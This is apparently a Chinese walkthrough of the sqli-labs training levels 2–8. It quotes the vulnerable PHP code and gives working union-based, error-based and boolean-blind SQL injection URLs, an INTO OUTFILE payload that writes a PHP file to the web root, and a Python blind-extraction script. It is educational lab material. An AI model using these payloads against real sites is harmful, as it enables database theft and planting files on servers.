Less-2
/sqli-labs/Less-2/?id=1
代码如下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
直接传入$id变量所以我们直接拼接sql语句即可。
注入语句:
/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name separator ':'),3 from information_schema.schemata-- - //获取库名
/sqli-labs/Less-2/?id=1 and 1=2 union select 1,GROUP_CONCAT(table_name SEPARATOR ':'),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security' -- - //获取表名
/sqli-labs/Less-2/?id=1 and 1=2 union select 1,GROUP_CONCAT(column_name SEPARATOR ':'),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' -- - //获取列名
/sqli-labs/Less-2/?id=1 and 1=2 union select 1,GROUP_CONCAT(username,password SEPARATOR ':'),3 FROM security.users-- - //获取字段
Less-3
/sqli-labs/Less-3/?id=1
代码如下:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
我们可以看到id=这里用的是(’$id’),所以我们需要先闭合后在进行sql语句的插入
注入语句:
/sqli-labs/Less-3/?id=0%27)%20union%20select%201,2,3%20--%20- //找到显位。
Less-4
/sqli-labs/Less-4/?id=1
代码如下:
eval(name);
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
首先我们可以看到对于id这个参数进行了双引号拼接,然后传入($id),输出username,password两个字段
/sqli-labs/Less-4/?id=1")%20and%201=2%20union%20select%201,2,3%20--%20- //找到显位
Less5
/sqli-labs/Less-5/?id=1
代码如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
单引号闭合后,我们可以看到if这个判断,如果正常执行sql语句就输出You are in...........,否则输出mysql的报错信息。这次不会输出字段值,我们就需要想其他方法去获取到自己想查询的信息,没错,那就是mysql报错注入,通过构造语句让mysql出错在报错信息中获取我们需要的信息。
/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - //爆用户
/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name separator '<br>') from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - //爆数据库
/sqli-labs/Less-5/?id=1'and (select 1 from (select count(*),concat((select group_concat(table_name separator '<br>') FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - //爆表名
mysql命令行:
SELECT * FROM users WHERE id='1'and (select 1 from (select count(*),concat((select group_concat(table_name separator '<br>') FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) -- -' LIMIT 0,1;
其他函数:
/sqli-labs/Less-5/?id=1' and extractvalue(0x0a,concat(0x0a,(select database()))) -- - //爆当前数据库
/sqli-labs/Less-5/?id=1' and extractvalue(0x0a,concat(0x0a,(select group_concat(table_name separator '<br>') from information_schema.tables where table_schema='security'))) -- - //爆表名
/sqli-labs/Less-5/?id=1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name separator '<br>') from information_schema.columns where table_schema=database() and table_name='users' ))) -- - //爆列名
这里我们会发现一个问题,就是爆出来的数据显示不完全,这是因为extractvalue这个函数对于长度有限制32位。关于报错注入的函数和版本有关,利用的时候需要自己去测试。此时我的mysql版本是5.7.19,所以也可以使用内置函数ST_LatFromGeoHash()。
/sqli-labs/Less-5/?id=1' and ST_LatFromGeoHash((select group_concat(schema_name separator '<br>') from information_schema.schemata)) -- -
Less-6
/sqli-labs/Less-6/?id=1
代码如下:
eval(name);
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
双引号闭合后,通过报错爆出信息。
/sqli-labs/Less-6/?id=1" and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - //爆用户
其他的参照Less-5,只是闭合方式不同,原理相同。
Less-7
/sqli-labs/Less-7/?id=1
代码如下:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
可以看出是要我们使用sql中outfile这个,目的在于熟悉通过sql写文件。出现如下错误:
The MySQL server is running with the --secure-file-priv option so it cannot
由于版本原因鄙人使用的是5.7.19-0ubuntu0.16.04.1
高版本,官方加了安全策略,这里我们需要更改/etc/mysql/mysql.conf.d/mysqld.cnf
在末尾处添加secure_file_priv="/"
,更改后service mysql restart
重启mysql服务。之后我们从mysql命令行来看策略:
mysql>show variables like '%secure%';
我们看到secure_file_priv这里已经变成“/”,此时我们可以写入。
/sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- - //这里我们写入到目录
我们来访问刚写入的地方
/sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- -
这里解释下0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,这是对语句进行hex编码,为了防止单引号冲突,而导致写入文件失败。
Less-8
/sqli-labs/Less-8/?id=1
代码如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
这里我们看代码$id被单引号包裹,如果语句构造正常就输出You are in.............,反之什么都不输出,根据题头Blind- Boolian- Single Quotes- String,意思是单引号的布尔值的盲注这里我们要用到mysql中的substr()函数
mysql中substr()函数:
usage:
substr(string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
mysql中ascii()函数:
将字符转为ascii值
/sqli-labs/Less-8/?id=1' and (length(database())) = 8 -- - //页面回显正常说明数据库长度为8
/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 -- - //页面回显正常说明第一个字符为s
/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 -- - //页面回显正常说明第二个字符为e
由于盲注大多去猜解结合页面回显可以看页面回想长度还有页面正常返回源码去判断是否存在,于是我们可以通过代码去代替手工繁琐的工作,加快速度。
正常回显:
猜解错误不存在时页面如下:
代码如下:
import sys
import requests
target = raw_input("input url:")
url= target+"%s"
payload="' and ascii(substr(database(),%s,1))>%s --+"
database=''
print("Start to retrive the database")
for i in range(1,9):
max=122 #z
min=65 #A
while abs(max-min)>1:
mid=int((max+min)/2)
p=payload % (str(i),str(mid))
response=requests.get(url % p)
if response.content.find("You are in")!=-1:
min=mid
else:
max=mid
database=database+chr(max)
print("the database is :%s" % database)
运行结果如下:
##############
由于快要考试,此文略仓促,借感恩节之际感谢同行路上给予我帮助的人,俯首作揖谢师恩。